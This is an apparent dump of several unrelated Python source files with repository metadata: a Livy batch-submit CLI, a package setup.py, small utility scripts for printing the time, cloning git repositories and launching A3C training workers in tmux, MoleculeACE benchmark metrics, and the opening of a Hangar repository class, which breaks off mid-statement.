module_name) return return func def human_readable_timeperiod(period: datetime.timedelta): """Convert time period to human readable format""" total_seconds = int(period.total_seconds()) terms = [] days = total_seconds // 86400 if days: terms.append(f"{days}d") hours = total_seconds // 3600 % 24 if hours: terms.append(f"{hours}h") minutes = total_seconds // 60 % 60 if minutes: terms.append(f"{minutes}m") seconds = total_seconds % 60 if seconds: terms.append(f"{seconds}s") return " ".join(terms) if __name__ == "__main__": exit(main())

"""Submit a batch task to livy server.""" import argparse import datetime import importlib import json import logging import re import typing import livy import livy.cli.config import livy.cli.logging logger = logging.getLogger(__name__) class PreSubmitArguments(argparse.Namespace): """Typed :py:class:`~argparse.Namespace` for arguments before task submission.""" # task script: str args: typing.List[str] class_name: str jars: typing.List[str] py_files: typing.List[str] files: typing.List[str] archives: typing.List[str] queue_name: str session_name: str api_url: str driver_memory: str driver_cores: int executor_memory: str executor_cores: int num_executors: int spark_conf: typing.List[typing.Tuple[str, str]] # log watch_log: bool # time time_prog_start: datetime.datetime "Local time this script is called" class TaskEndedArguments(PreSubmitArguments): """Typed :py:class:`~argparse.Namespace` for arguments when task is ended. It contains all attributes from :py:class:`~livy.cli.submit.PreSubmitArguments`. """ # task batch_id: int "Batch ID response by livy server" state: str "Task ended state" # time time_task_submit: datetime.datetime "Local time before task is submitted" time_task_ended: datetime.datetime "Local time that detected task is ended" def main(argv=None): """CLI entrypoint""" # parse argument cfg = livy.cli.config.load() parser = argparse.ArgumentParser( prog="livy submit", description=__doc__, ) parser.add_argument( "script", help="Path to the script that contains the application to be executed", ) parser.add_argument( "args", nargs="*", help="Arguments for the task script", ) parser.add_argument( "--class-name", metavar="COM.EXAMPLE.FOO", help="Application Java/Spark main class (for Java/Scala task)", ) parser.add_argument( "--jars", nargs="+", metavar="FOO.JAR", help="Java dependencies to be used in this batch", ) parser.add_argument( "--py-files", nargs="+", metavar="FOO.ZIP", help="Python dependencies to be used in this batch", ) parser.add_argument( "--files", nargs="+", metavar="FOO.TXT", help="Files to be used in this batch", ) parser.add_argument( "--archives", nargs="+", metavar="FOO.TAR", help="Archives to be used in this batch", ) parser.add_argument( "--queue-name", metavar="DEFAULT", help="The name of the YARN queue to which submitted", ) parser.add_argument( "--session-name", metavar="HELLO", help="The session name to execute this batch", ) group = parser.add_argument_group("pre-submit actions") group.add_argument( "--on-pre-submit", metavar="PLUG", nargs="+", default=cfg.submit.pre_submit, help="Run plugin(s) before submit", ) group = parser.add_argument_group("livy server configuration") group.add_argument( "--api-url", required=cfg.root.api_url is None, default=cfg.root.api_url, help="Base-URL for Livy API server", ) group.add_argument( "--driver-memory", metavar="10G", default=cfg.submit.driver_memory, type=argmem, help="Amount of memory to use for the driver process.", ) group.add_argument( "--driver-cores", metavar="N", default=cfg.submit.driver_cores, type=int, help="Number of cores to use for the driver process.", ) group.add_argument( "--executor-memory", metavar="10G", default=cfg.submit.executor_memory, type=argmem, help="Amount of memory to use for the executor process.", ) group.add_argument( "--executor-cores", metavar="N", default=cfg.submit.executor_cores, type=int, help="Number of cores to use for each executor.", ) group.add_argument( "--num-executors", metavar="N", default=cfg.submit.num_executors, type=int, help="Number of executors to launch for this batch.", ) group.add_argument( "--spark-conf", metavar="CONF_NAME=VALUE", nargs="+", default=cfg.submit.spark_conf, type=argkvpair, help="Spark configuration properties.", ) group = parser.add_argument_group("post-submit actions") g = group.add_mutually_exclusive_group() g.set_defaults(watch_log=cfg.submit.watch_log) g.add_argument( "--watch-log", dest="watch_log", action="store_true", help="Watching for logs until it is finished", ) g.add_argument( "--no-watch-log", dest="watch_log", action="store_false", help="Not to watch for logs. Only submit the task and quit.", ) group = parser.add_argument_group("after-task-finish actions") group.add_argument( "--on-task-success", metavar="PLUG", nargs="+", default=cfg.submit.task_success, help="Run plugin(s) on task is finished and success", ) group.add_argument( "--on-task-failed", metavar="PLUG", nargs="+", default=cfg.submit.task_fail, help="Run plugin(s) on task is ended and failed", ) group.add_argument( "--on-task-ended", metavar="PLUG", nargs="+", default=cfg.submit.task_fail, help="Run plugin(s) on task is ended and ended and regardless to its state", ) livy.cli.logging.setup_argparse(parser) args: PreSubmitArguments = parser.parse_args(argv) # time stamping tzlocal = datetime.datetime.now(datetime.timezone.utc).astimezone().tzinfo def now() -> datetime.datetime: return datetime.datetime.now().astimezone(tzlocal) args.time_prog_start = now() # setup logger livy.cli.logging.init(args) console = livy.cli.logging.get("livy-read-log.main") console.info("Submission task started") # run pre-submit actions args: TaskEndedArguments = run_hook(console, "PRE-SUBMIT", args, args.on_pre_submit) # check server state client = livy.LivyClient(url=args.api_url) try: client.check(False) except livy.RequestError as e: console.error("Failed to connect to server: %s", e) return 1 # build request payload submit_parameter = {} for key, value in [ ("file", args.script), ("class_name", args.class_name), ("args", args.args), ("jars", args.jars), ("py_files", args.py_files), ("files", args.files), ("driver_memory", args.driver_memory), ("driver_cores", args.driver_cores), ("executor_memory", args.executor_memory), ("executor_cores", args.executor_cores), ("num_executors", args.num_executors), ("archives", args.archives), ("queue", args.queue_name), ("name", args.session_name), ("conf", {k: v for k, v in args.spark_conf}), ]: if value: submit_parameter[key] = value console.info( "Creating batch with parameters: %s", json.dumps(submit_parameter, indent=2), ) # timing args.time_task_submit = now() console.debug("Batch submission time= %s", args.time_task_submit) # submit try: submit_resp = client.create_batch(**submit_parameter) except livy.RequestError as e: console.error("Failed to connect to server: %s", e) return 1 console.info("Server response: %s", json.dumps(submit_resp, indent=2)) args.batch_id = submit_resp.get("id", None) if not isinstance(args.batch_id, int) or args.batch_id < 0: console.error("Failed to get batch id. Something goes wrong.") return 1 # watch log if not args.watch_log: console.info("Batch %d created.", args.batch_id) return 0 console.info("Start reading logs of batch %d", args.batch_id) reader = livy.LivyBatchLogReader(client, args.batch_id) try: reader.read_until_finish() except livy.RequestError as e: console.error( "Error occurs during read log. HTTP code=%d, Reason=%s", e.code, e.reason ) return 1 except KeyboardInterrupt: msg_args = args.batch_id, args.api_url # just for shorten console.warning("Keyboard interrupt. Local livy-submit process terminating.") console.warning("Your task might be still running on the server.") console.warning("For reading the logs, call:") console.warning(" livy read-log %d --api-url %s", *msg_args) console.warning("For stopping the task, call:") console.warning(" livy kill %d --api-url %s", *msg_args) return 1 # timing args.time_task_ended = now() console.debug("Batch finishing time= %s", args.time_task_ended) # get ending state try: args.state = client.get_batch_state(args.batch_id) except livy.RequestError: console.error("Error during query batch ending state.") return 1 if args.state == "success": exit_code = 0 state_level = logging.INFO else: exit_code = 1 state_level = logging.WARNING console.log(state_level, "Batch#%d ended with state= %s", args.batch_id, args.state) elapsed_time = args.time_task_ended - args.time_task_submit console.info( "Batch execution time: %dsec (%s)", elapsed_time.total_seconds(), human_readable_timeperiod(elapsed_time), ) # run task-end actions if args.state == "success": args = run_hook(console, "TASK-SUCCESS", args, args.on_task_success) else: args = run_hook(console, "TASK-FAILED", args, args.on_task_failed) args = run_hook(console, "TASK", args, args.on_task_ended) return exit_code def argmem(s: str): """Validate input for memory size""" if not re.fullmatch(r"\d+[gm]b?", s, re.RegexFlag.IGNORECASE): raise argparse.ArgumentTypeError( "please specific memory size in format '1234mb'" ) return s def argkvpair(val): """Splitting key value pair""" k, v = val.split("=", 1) return k, v def run_hook( logger: logging.Logger, identifier: str, args: argparse.Namespace, actions: typing.List[str], ) -> argparse.Namespace: """Run hook actions""" for action_name in actions: logger.info("Run %s action %s", identifier.lower(), action_name) func = get_function(action_name) if not func: logger.warning("Failed to get action function instance. Stop process.") exit(1) try: args = func(identifier, args) except: logger.exception( "Error occurs during %s action. Stop process.", identifier.lower() ) exit(1) if not isinstance(args, argparse.Namespace): logger.error( "Expect namespace object from %s's return value. Got %s", action_name, type(args).__name__, ) exit(1) return args def get_function(name: str) -> typing.Callable: """Get function by module name""" m = re.fullmatch(r"([\w.]+):(\w+)", name, re.RegexFlag.I) if not m: logger.error("Failed to resolve function name: %s", name) logger.error("Please specific it in module:func format") return module_name, func_name = m.groups() try: module = importlib.import_module(module_name) except ImportError: logger.error("Failed to find module: %s", module_name) return try: func = getattr(module, func_name) except AttributeError: logger.error("Failed to find function %s in %s", func_name, module_name) return return func def human_readable_timeperiod(period: datetime.timedelta): """Convert time period to human readable format""" total_seconds = int(period.total_seconds()) terms = [] days = total_seconds // 86400 if days: terms.append(f"{days}d") hours = total_seconds // 3600 % 24 if hours: terms.append(f"{hours}h") minutes = total_seconds // 60 % 60 if minutes: terms.append(f"{minutes}m") seconds = total_seconds % 60 if seconds: terms.append(f"{seconds}s") return " ".join(terms) if __name__ == "__main__": exit(main())

pt

setup.py

nickyfoto/premoji

13517

"""Minimal setup file for learn project.""" import pathlib from setuptools import setup, find_packages # The directory containing this file HERE = pathlib.Path(__file__).parent # The text of the README file README = (HERE / "README.md").read_text() setup( name = 'premoji', version = '0.1.4', description = 'predict emoji on given text', long_description = README, long_description_content_type = "text/markdown", license = "MIT", author = '<NAME>', author_email = '<EMAIL>', url = 'https://macworks.io', download_url = 'https://github.com/nickyfoto/premoji/archive/v0.1.3-alpha.tar.gz', packages = find_packages(where='src'), package_dir = {'': 'src'}, include_package_data=True, install_requires = [ 'numpy', 'scikit-learn', ], classifiers = [ 'Development Status :: 3 - Alpha', # Chose either "3 - Alpha", "4 - Beta" or "5 - Production/Stable" as the current state of your package 'Intended Audience :: Developers', # Define that your audience are developers 'Topic :: Software Development :: Build Tools', 'License :: OSI Approved :: MIT License', # Again, pick a license 'Programming Language :: Python :: 3.7', ] )

"""Minimal setup file for learn project.""" import pathlib from setuptools import setup, find_packages # The directory containing this file HERE = pathlib.Path(__file__).parent # The text of the README file README = (HERE / "README.md").read_text() setup( name = 'premoji', version = '0.1.4', description = 'predict emoji on given text', long_description = README, long_description_content_type = "text/markdown", license = "MIT", author = '<NAME>', author_email = '<EMAIL>', url = 'https://macworks.io', download_url = 'https://github.com/nickyfoto/premoji/archive/v0.1.3-alpha.tar.gz', packages = find_packages(where='src'), package_dir = {'': 'src'}, include_package_data=True, install_requires = [ 'numpy', 'scikit-learn', ], classifiers = [ 'Development Status :: 3 - Alpha', # Chose either "3 - Alpha", "4 - Beta" or "5 - Production/Stable" as the current state of your package 'Intended Audience :: Developers', # Define that your audience are developers 'Topic :: Software Development :: Build Tools', 'License :: OSI Approved :: MIT License', # Again, pick a license 'Programming Language :: Python :: 3.7', ] )

pt

02-current-time.py

KeithWilliamsGMIT/Emerging-Technologies-Python-Fundamentals

13518

<reponame>KeithWilliamsGMIT/Emerging-Technologies-Python-Fundamentals<filename>02-current-time.py # Author: <NAME> # Date: 21/09/2017 from time import strftime # This line prints the current date and time to the console in the format 01-10-2017 13:15:30. # strftime must be imported from the time package before being used. print(strftime("%d-%m-%Y %H:%M:%S"))

# Author: <NAME> # Date: 21/09/2017 from time import strftime # This line prints the current date and time to the console in the format 01-10-2017 13:15:30. # strftime must be imported from the time package before being used. print(strftime("%d-%m-%Y %H:%M:%S"))

pt

git_management/clone.py

afsantaliestra/scripts

13519

<reponame>afsantaliestra/scripts<gh_stars>0 import os filepath = 'list.txt' with open(filepath) as fp: while line := fp.readline(): line = line.strip() os.system(f'git clone {line}')

import os filepath = 'list.txt' with open(filepath) as fp: while line := fp.readline(): line = line.strip() os.system(f'git clone {line}')

none

train.py

amansoni/sequential-decision-problem-algorithms

13520

<reponame>amansoni/sequential-decision-problem-algorithms import argparse import os import sys parser = argparse.ArgumentParser(description="Run commands") parser.add_argument('-w', '--num-workers', default=1, type=int, help="Number of workers") parser.add_argument('-r', '--remotes', default=None, help='The address of pre-existing VNC servers and ' 'rewarders to use (e.g. -r vnc://localhost:5900+15900,vnc://localhost:5901+15901).') parser.add_argument('-e', '--env-id', type=str, default="PongDeterministic-v3", help="Environment id") parser.add_argument('-l', '--log-dir', type=str, default="/tmp/pong", help="Log directory path") def new_tmux_cmd(session, name, cmd): if isinstance(cmd, (list, tuple)): cmd = " ".join(str(v) for v in cmd) return name, "tmux send-keys -t {}:{} '{}' Enter".format(session, name, cmd) def create_tmux_commands(session, num_workers, remotes, env_id, logdir, shell='sh'): # for launching the TF workers and for launching tensorboard base_cmd = [ 'CUDA_VISIBLE_DEVICES=', sys.executable, 'worker.py', '--log-dir', logdir, '--env-id', env_id, '--num-workers', str(num_workers)] if remotes is None: remotes = ["1"] * num_workers else: remotes = remotes.split(',') assert len(remotes) == num_workers cmds_map = [new_tmux_cmd(session, "ps", base_cmd + ["--job-name", "ps"])] for i in range(num_workers): cmds_map += [new_tmux_cmd(session, "w-%d" % i, base_cmd + ["--job-name", "worker", "--task", str(i), "--remotes", remotes[i]])] cmds_map += [new_tmux_cmd(session, "tb", ["tensorboard --logdir {} --port 12345".format(logdir)])] cmds_map += [new_tmux_cmd(session, "htop", ["htop"])] windows = [v[0] for v in cmds_map] cmds = [ "mkdir -p {}".format(logdir), "tmux kill-session -t {}".format(session), "tmux new-session -s {} -n {} -d {}".format(session, windows[0], shell) ] for w in windows[1:]: cmds += ["tmux new-window -t {} -n {} {}".format(session, w, shell)] cmds += ["sleep 1"] for window, cmd in cmds_map: cmds += [cmd] return cmds def run(): args = parser.parse_args() cmds = create_tmux_commands("a3c", args.num_workers, args.remotes, args.env_id, args.log_dir) print("\n".join(cmds)) os.system("\n".join(cmds)) if __name__ == "__main__": run()

import argparse import os import sys parser = argparse.ArgumentParser(description="Run commands") parser.add_argument('-w', '--num-workers', default=1, type=int, help="Number of workers") parser.add_argument('-r', '--remotes', default=None, help='The address of pre-existing VNC servers and ' 'rewarders to use (e.g. -r vnc://localhost:5900+15900,vnc://localhost:5901+15901).') parser.add_argument('-e', '--env-id', type=str, default="PongDeterministic-v3", help="Environment id") parser.add_argument('-l', '--log-dir', type=str, default="/tmp/pong", help="Log directory path") def new_tmux_cmd(session, name, cmd): if isinstance(cmd, (list, tuple)): cmd = " ".join(str(v) for v in cmd) return name, "tmux send-keys -t {}:{} '{}' Enter".format(session, name, cmd) def create_tmux_commands(session, num_workers, remotes, env_id, logdir, shell='sh'): # for launching the TF workers and for launching tensorboard base_cmd = [ 'CUDA_VISIBLE_DEVICES=', sys.executable, 'worker.py', '--log-dir', logdir, '--env-id', env_id, '--num-workers', str(num_workers)] if remotes is None: remotes = ["1"] * num_workers else: remotes = remotes.split(',') assert len(remotes) == num_workers cmds_map = [new_tmux_cmd(session, "ps", base_cmd + ["--job-name", "ps"])] for i in range(num_workers): cmds_map += [new_tmux_cmd(session, "w-%d" % i, base_cmd + ["--job-name", "worker", "--task", str(i), "--remotes", remotes[i]])] cmds_map += [new_tmux_cmd(session, "tb", ["tensorboard --logdir {} --port 12345".format(logdir)])] cmds_map += [new_tmux_cmd(session, "htop", ["htop"])] windows = [v[0] for v in cmds_map] cmds = [ "mkdir -p {}".format(logdir), "tmux kill-session -t {}".format(session), "tmux new-session -s {} -n {} -d {}".format(session, windows[0], shell) ] for w in windows[1:]: cmds += ["tmux new-window -t {} -n {} {}".format(session, w, shell)] cmds += ["sleep 1"] for window, cmd in cmds_map: cmds += [cmd] return cmds def run(): args = parser.parse_args() cmds = create_tmux_commands("a3c", args.num_workers, args.remotes, args.env_id, args.log_dir) print("\n".join(cmds)) os.system("\n".join(cmds)) if __name__ == "__main__": run()

pt

MoleculeACE/benchmark/evaluation/results.py

molML/MoleculeACE

13521

""" Class that holds the results: used for evaluating model performance on activity cliff compounds <NAME>, Eindhoven University of Technology, March 2022 """ import os import numpy as np from MoleculeACE.benchmark.utils.const import Algorithms from .metrics import calc_rmse, calc_q2f3 class Results: def __init__(self, predictions=None, reference=None, y_train=None, data=None, tanimoto_cliff_compounds=None, scaffold_cliff_compounds=None, levenshtein_cliff_compounds=None, soft_consensus_cliff_compounds=None): self.predictions = predictions self.reference = reference self.y_train = y_train self.tanimoto_cliff_compounds = tanimoto_cliff_compounds self.scaffold_cliff_compounds = scaffold_cliff_compounds self.levenshtein_cliff_compounds = levenshtein_cliff_compounds self.soft_consensus_cliff_compounds = soft_consensus_cliff_compounds self.data = data self.rmse = np.inf self.q2f3 = 0 self.tanimoto_cliff_rmse = np.inf self.scaffold_cliff_rmse = np.inf self.levenshtein_cliff_rmse = np.inf self.soft_consensus_cliff_rmse = np.inf def calc_rmse(self, reference=None, predictions=None): """ Calculate the rmse from two lists of reference and predicted bioactivity""" if reference is not None: self.reference = reference if predictions is not None: self.predictions = predictions # calculate the rmsd self.rmse = calc_rmse(self.reference, self.predictions) return self.rmse def calc_q2f3(self, reference=None, predictions=None, y_train=None): """ Calculates the Q2 F3 score (best according to Todeschini et al. 2016) Args: reference: (1d array-like shape) true test values (float) predictions: (1d array-like shape) predicted test values (float) y_train: (1d array-like shape) true train values (float) Returns: Q2F3 score """ if reference is not None: self.reference = reference if predictions is not None: self.predictions = predictions if y_train is not None: self.y_train = y_train # calculate the q2f3 self.q2f3 = calc_q2f3(self.reference, self.predictions, self.y_train) return self.q2f3 def calc_cliff_rmse(self, reference=None, predictions=None, tanimoto_cliff_compounds=None, scaffold_cliff_compounds=None, levenshtein_cliff_compounds=None, soft_consensus_cliff_compounds=None): """ Calculate the rmse of only cliff compounds Args: levenshtein_cliff_compounds: (lst) Binary list of cliff compounds (same length as predictions) tanimoto_cliff_compounds: (lst) Binary list of cliff compounds (same length as predictions) scaffold_cliff_compounds: (lst) Binary list of cliff compounds (same length as predictions) consensus_cliff_compounds: (lst) Binary list of cliff compounds (same length as predictions) soft_consensus_cliff_compounds: (lst) Binary list of cliff compounds (same length as predictions) reference: (lst) true bioactivity values predictions: (lst) predicted bioactivity values cliff_compounds: (lst) binary list describing if a compound is a cliff compound (1 == cliff, 0 == no cliff) Returns: (float) rmse """ if reference is not None: self.reference = reference if predictions is not None: self.predictions = predictions if tanimoto_cliff_compounds is not None: self.tanimoto_cliff_compounds = tanimoto_cliff_compounds if scaffold_cliff_compounds is not None: self.scaffold_cliff_compounds = scaffold_cliff_compounds if levenshtein_cliff_compounds is not None: self.levenshtein_cliff_compounds = levenshtein_cliff_compounds if soft_consensus_cliff_compounds is not None: self.soft_consensus_cliff_compounds = soft_consensus_cliff_compounds if self.tanimoto_cliff_compounds is not None: # Subset only reference and predicted values of the cliff compounds, then calculate cliff rmse clf_ref = [self.reference[idx] for idx, clf in enumerate(self.tanimoto_cliff_compounds) if clf == 1] clf_prd = [self.predictions[idx] for idx, clf in enumerate(self.tanimoto_cliff_compounds) if clf == 1] self.tanimoto_cliff_rmse = calc_rmse(clf_ref, clf_prd) if self.scaffold_cliff_compounds is not None: # Subset only reference and predicted values of the cliff compounds, then calculate cliff rmse clf_ref = [self.reference[idx] for idx, clf in enumerate(self.scaffold_cliff_compounds) if clf == 1] clf_prd = [self.predictions[idx] for idx, clf in enumerate(self.scaffold_cliff_compounds) if clf == 1] self.scaffold_cliff_rmse = calc_rmse(clf_ref, clf_prd) if self.levenshtein_cliff_compounds is not None: # Subset only reference and predicted values of the cliff compounds, then calculate cliff rmse clf_ref = [self.reference[idx] for idx, clf in enumerate(self.levenshtein_cliff_compounds) if clf == 1] clf_prd = [self.predictions[idx] for idx, clf in enumerate(self.levenshtein_cliff_compounds) if clf == 1] self.levenshtein_cliff_rmse = calc_rmse(clf_ref, clf_prd) if self.soft_consensus_cliff_compounds is not None: # Subset only reference and predicted values of the cliff compounds, then calculate cliff rmse clf_ref = [self.reference[idx] for idx, clf in enumerate(self.soft_consensus_cliff_compounds) if clf == 1] clf_prd = [self.predictions[idx] for idx, clf in enumerate(self.soft_consensus_cliff_compounds) if clf == 1] self.soft_consensus_cliff_rmse = calc_rmse(clf_ref, clf_prd) return {'tanimoto_cliff_rmse': self.tanimoto_cliff_rmse, 'scaffold_cliff_rmse': self.scaffold_cliff_rmse, 'levenshtein_cliff_rmse': self.levenshtein_cliff_rmse, 'soft_consensus_cliff_rmse': self.soft_consensus_cliff_rmse} def to_csv(self, filename, algorithm: Algorithms = None): # Create output file if it doesnt exist if self.data is not None: if not os.path.isfile(filename): with open(filename, 'w') as f: f.write('dataset,' 'algorithm,' 'descriptor,' 'augmentation,' 'rmse,' 'cliff_rmse,' 'n_compounds,' 'n_cliff_compounds,' 'n_compounds_train,' 'n_cliff_compounds_train,' 'n_compounds_test,' 'n_cliff_compounds_test\n') with open(filename, 'a') as f: f.write(f'{self.data.name},' f'{algorithm.value},' f'{self.data.descriptor.value},' f'{self.data.augmentation},' f'{self.rmse},' f'{self.soft_consensus_cliff_rmse},' f'{self.data.cliffs.stats["n_compounds"]},' f'{self.data.cliffs.stats["n_soft_consensus_cliff_compounds"]},' f'{self.data.cliffs.stats["n_compounds_train"]},' f'{self.data.cliffs.stats["n_soft_consensus_cliff_compounds_train"]},' f'{self.data.cliffs.stats["n_compounds_test"]},' f'{self.data.cliffs.stats["n_soft_consensus_cliff_compounds_test"]}\n') def __repr__(self): return f"RMSE: {self.rmse:.4f}\n" \ f"Q2F3: {self.q2f3:.4f}\n" \ f"AC-RMSE: {self.soft_consensus_cliff_rmse:.4f}\n"

""" Class that holds the results: used for evaluating model performance on activity cliff compounds <NAME>, Eindhoven University of Technology, March 2022 """ import os import numpy as np from MoleculeACE.benchmark.utils.const import Algorithms from .metrics import calc_rmse, calc_q2f3 class Results: def __init__(self, predictions=None, reference=None, y_train=None, data=None, tanimoto_cliff_compounds=None, scaffold_cliff_compounds=None, levenshtein_cliff_compounds=None, soft_consensus_cliff_compounds=None): self.predictions = predictions self.reference = reference self.y_train = y_train self.tanimoto_cliff_compounds = tanimoto_cliff_compounds self.scaffold_cliff_compounds = scaffold_cliff_compounds self.levenshtein_cliff_compounds = levenshtein_cliff_compounds self.soft_consensus_cliff_compounds = soft_consensus_cliff_compounds self.data = data self.rmse = np.inf self.q2f3 = 0 self.tanimoto_cliff_rmse = np.inf self.scaffold_cliff_rmse = np.inf self.levenshtein_cliff_rmse = np.inf self.soft_consensus_cliff_rmse = np.inf def calc_rmse(self, reference=None, predictions=None): """ Calculate the rmse from two lists of reference and predicted bioactivity""" if reference is not None: self.reference = reference if predictions is not None: self.predictions = predictions # calculate the rmsd self.rmse = calc_rmse(self.reference, self.predictions) return self.rmse def calc_q2f3(self, reference=None, predictions=None, y_train=None): """ Calculates the Q2 F3 score (best according to Todeschini et al. 2016) Args: reference: (1d array-like shape) true test values (float) predictions: (1d array-like shape) predicted test values (float) y_train: (1d array-like shape) true train values (float) Returns: Q2F3 score """ if reference is not None: self.reference = reference if predictions is not None: self.predictions = predictions if y_train is not None: self.y_train = y_train # calculate the q2f3 self.q2f3 = calc_q2f3(self.reference, self.predictions, self.y_train) return self.q2f3 def calc_cliff_rmse(self, reference=None, predictions=None, tanimoto_cliff_compounds=None, scaffold_cliff_compounds=None, levenshtein_cliff_compounds=None, soft_consensus_cliff_compounds=None): """ Calculate the rmse of only cliff compounds Args: levenshtein_cliff_compounds: (lst) Binary list of cliff compounds (same length as predictions) tanimoto_cliff_compounds: (lst) Binary list of cliff compounds (same length as predictions) scaffold_cliff_compounds: (lst) Binary list of cliff compounds (same length as predictions) consensus_cliff_compounds: (lst) Binary list of cliff compounds (same length as predictions) soft_consensus_cliff_compounds: (lst) Binary list of cliff compounds (same length as predictions) reference: (lst) true bioactivity values predictions: (lst) predicted bioactivity values cliff_compounds: (lst) binary list describing if a compound is a cliff compound (1 == cliff, 0 == no cliff) Returns: (float) rmse """ if reference is not None: self.reference = reference if predictions is not None: self.predictions = predictions if tanimoto_cliff_compounds is not None: self.tanimoto_cliff_compounds = tanimoto_cliff_compounds if scaffold_cliff_compounds is not None: self.scaffold_cliff_compounds = scaffold_cliff_compounds if levenshtein_cliff_compounds is not None: self.levenshtein_cliff_compounds = levenshtein_cliff_compounds if soft_consensus_cliff_compounds is not None: self.soft_consensus_cliff_compounds = soft_consensus_cliff_compounds if self.tanimoto_cliff_compounds is not None: # Subset only reference and predicted values of the cliff compounds, then calculate cliff rmse clf_ref = [self.reference[idx] for idx, clf in enumerate(self.tanimoto_cliff_compounds) if clf == 1] clf_prd = [self.predictions[idx] for idx, clf in enumerate(self.tanimoto_cliff_compounds) if clf == 1] self.tanimoto_cliff_rmse = calc_rmse(clf_ref, clf_prd) if self.scaffold_cliff_compounds is not None: # Subset only reference and predicted values of the cliff compounds, then calculate cliff rmse clf_ref = [self.reference[idx] for idx, clf in enumerate(self.scaffold_cliff_compounds) if clf == 1] clf_prd = [self.predictions[idx] for idx, clf in enumerate(self.scaffold_cliff_compounds) if clf == 1] self.scaffold_cliff_rmse = calc_rmse(clf_ref, clf_prd) if self.levenshtein_cliff_compounds is not None: # Subset only reference and predicted values of the cliff compounds, then calculate cliff rmse clf_ref = [self.reference[idx] for idx, clf in enumerate(self.levenshtein_cliff_compounds) if clf == 1] clf_prd = [self.predictions[idx] for idx, clf in enumerate(self.levenshtein_cliff_compounds) if clf == 1] self.levenshtein_cliff_rmse = calc_rmse(clf_ref, clf_prd) if self.soft_consensus_cliff_compounds is not None: # Subset only reference and predicted values of the cliff compounds, then calculate cliff rmse clf_ref = [self.reference[idx] for idx, clf in enumerate(self.soft_consensus_cliff_compounds) if clf == 1] clf_prd = [self.predictions[idx] for idx, clf in enumerate(self.soft_consensus_cliff_compounds) if clf == 1] self.soft_consensus_cliff_rmse = calc_rmse(clf_ref, clf_prd) return {'tanimoto_cliff_rmse': self.tanimoto_cliff_rmse, 'scaffold_cliff_rmse': self.scaffold_cliff_rmse, 'levenshtein_cliff_rmse': self.levenshtein_cliff_rmse, 'soft_consensus_cliff_rmse': self.soft_consensus_cliff_rmse} def to_csv(self, filename, algorithm: Algorithms = None): # Create output file if it doesnt exist if self.data is not None: if not os.path.isfile(filename): with open(filename, 'w') as f: f.write('dataset,' 'algorithm,' 'descriptor,' 'augmentation,' 'rmse,' 'cliff_rmse,' 'n_compounds,' 'n_cliff_compounds,' 'n_compounds_train,' 'n_cliff_compounds_train,' 'n_compounds_test,' 'n_cliff_compounds_test\n') with open(filename, 'a') as f: f.write(f'{self.data.name},' f'{algorithm.value},' f'{self.data.descriptor.value},' f'{self.data.augmentation},' f'{self.rmse},' f'{self.soft_consensus_cliff_rmse},' f'{self.data.cliffs.stats["n_compounds"]},' f'{self.data.cliffs.stats["n_soft_consensus_cliff_compounds"]},' f'{self.data.cliffs.stats["n_compounds_train"]},' f'{self.data.cliffs.stats["n_soft_consensus_cliff_compounds_train"]},' f'{self.data.cliffs.stats["n_compounds_test"]},' f'{self.data.cliffs.stats["n_soft_consensus_cliff_compounds_test"]}\n') def __repr__(self): return f"RMSE: {self.rmse:.4f}\n" \ f"Q2F3: {self.q2f3:.4f}\n" \ f"AC-RMSE: {self.soft_consensus_cliff_rmse:.4f}\n"

pt

checkout/orders/__init__.py

accelero-cloud/tutorials

13522

<reponame>accelero-cloud/tutorials from checkout.orders.order_service import Order, AuthorisationRequest

from checkout.orders.order_service import Order, AuthorisationRequest

none

hiisi/__init__.py

ritvje/hiisi

13523

from .hiisi import HiisiHDF from .odim import OdimPVOL, OdimCOMP __version__ = "0.0.6"

from .hiisi import HiisiHDF from .odim import OdimPVOL, OdimCOMP __version__ = "0.0.6"

none

src/hangar/repository.py

jjmachan/hangar-py

13524

from pathlib import Path import weakref import warnings from typing import Union, Optional, List from .merger import select_merge_algorithm from .constants import DIR_HANGAR from .remotes import Remotes from .context import Environments from .diagnostics import ecosystem, integrity from .records import heads, parsing, summarize, vcompat, commiting from .checkout import ReaderCheckout, WriterCheckout from .diff import DiffAndConflicts, ReaderUserDiff from .utils import ( is_valid_directory_path, is_suitable_user_key, is_ascii, folder_size, format_bytes ) class Repository(object): """Launching point for all user operations in a Hangar repository. All interaction, including the ability to initialize a repo, checkout a commit (for either reading or writing), create a branch, merge branches, or generally view the contents or state of the local repository starts here. Just provide this class instance with a path to an existing Hangar repository, or to a directory one should be initialized, and all required data for starting your work on the repo will automatically be populated. >>> from hangar import Repository >>> repo = Repository('foo/path/to/dir') Parameters ---------- path : Union[str, os.PathLike] local directory path where the Hangar repository exists (or initialized) exists : bool, optional True if a Hangar repository should exist at the given directory path. Should no Hangar repository exists at that location, a UserWarning will be raised indicating that the :meth:`init` method needs to be called. False if the provided path does not need to (but optionally can) contain a Hangar repository. if a Hangar repository does not exist at that path, the usual UserWarning will be suppressed. In both cases, the path must exist and the user must have sufficient OS permissions to write to that location. Default = True """ def __init__(self, path: Union[str, Path], exists: bool = True): if isinstance(path, (str, bytes)): path = Path(path) try: usr_path = is_valid_directory_path(path) except (TypeError, NotADirectoryError, PermissionError) as e: raise e from None repo_pth = usr_path.joinpath(DIR_HANGAR) if exists is False: with warnings.catch_warnings(): warnings.simplefilter('ignore', UserWarning) envs = Environments(pth=repo_pth) else: envs = Environments(pth=repo_pth) self._repo_path: Path = repo_pth self._env: Environments = envs self._remote: Remotes = Remotes(self._env) def _repr_pretty_(self, p, cycle): """provide a pretty-printed repr for ipython based user interaction. Parameters ---------- p : printer io stream printer type object which is provided via ipython cycle : bool if the pretty-printer detects a cycle or infinite loop. Not a concern here since we just output the text and return, no looping required. """ self.__verify_repo_initialized() res = f'Hangar {self.__class__.__name__}\ \n Repository Path : {self.path}\ \n Writer-Lock Free : {heads.writer_lock_held(self._env.branchenv)}\n' p.text(res) def __repr__(self): """Override the default repr to show useful information to developers. Note: the pprint repr (ipython enabled) is separately defined in :py:meth:`_repr_pretty_`. We specialize because we assume that anyone operating in a terminal-based interpreter is probably a more advanced developer-type, and expects traditional repr information instead of a user facing summary of the repo. Though if we're wrong, go ahead and feel free to reassign the attribute :) won't hurt our feelings, promise. Returns ------- string formatted representation of the object """ res = f'{self.__class__}(path={self._repo_path})' return res def __verify_repo_initialized(self): """Internal method to verify repo initialized before operations occur Raises ------ RuntimeError If the repository db environments have not been initialized at the specified repo path. """ if not self._env.repo_is_initialized: msg = f'Repository at path: {self._repo_path} has not been initialized. '\ f'Please run the `init_repo()` function' raise 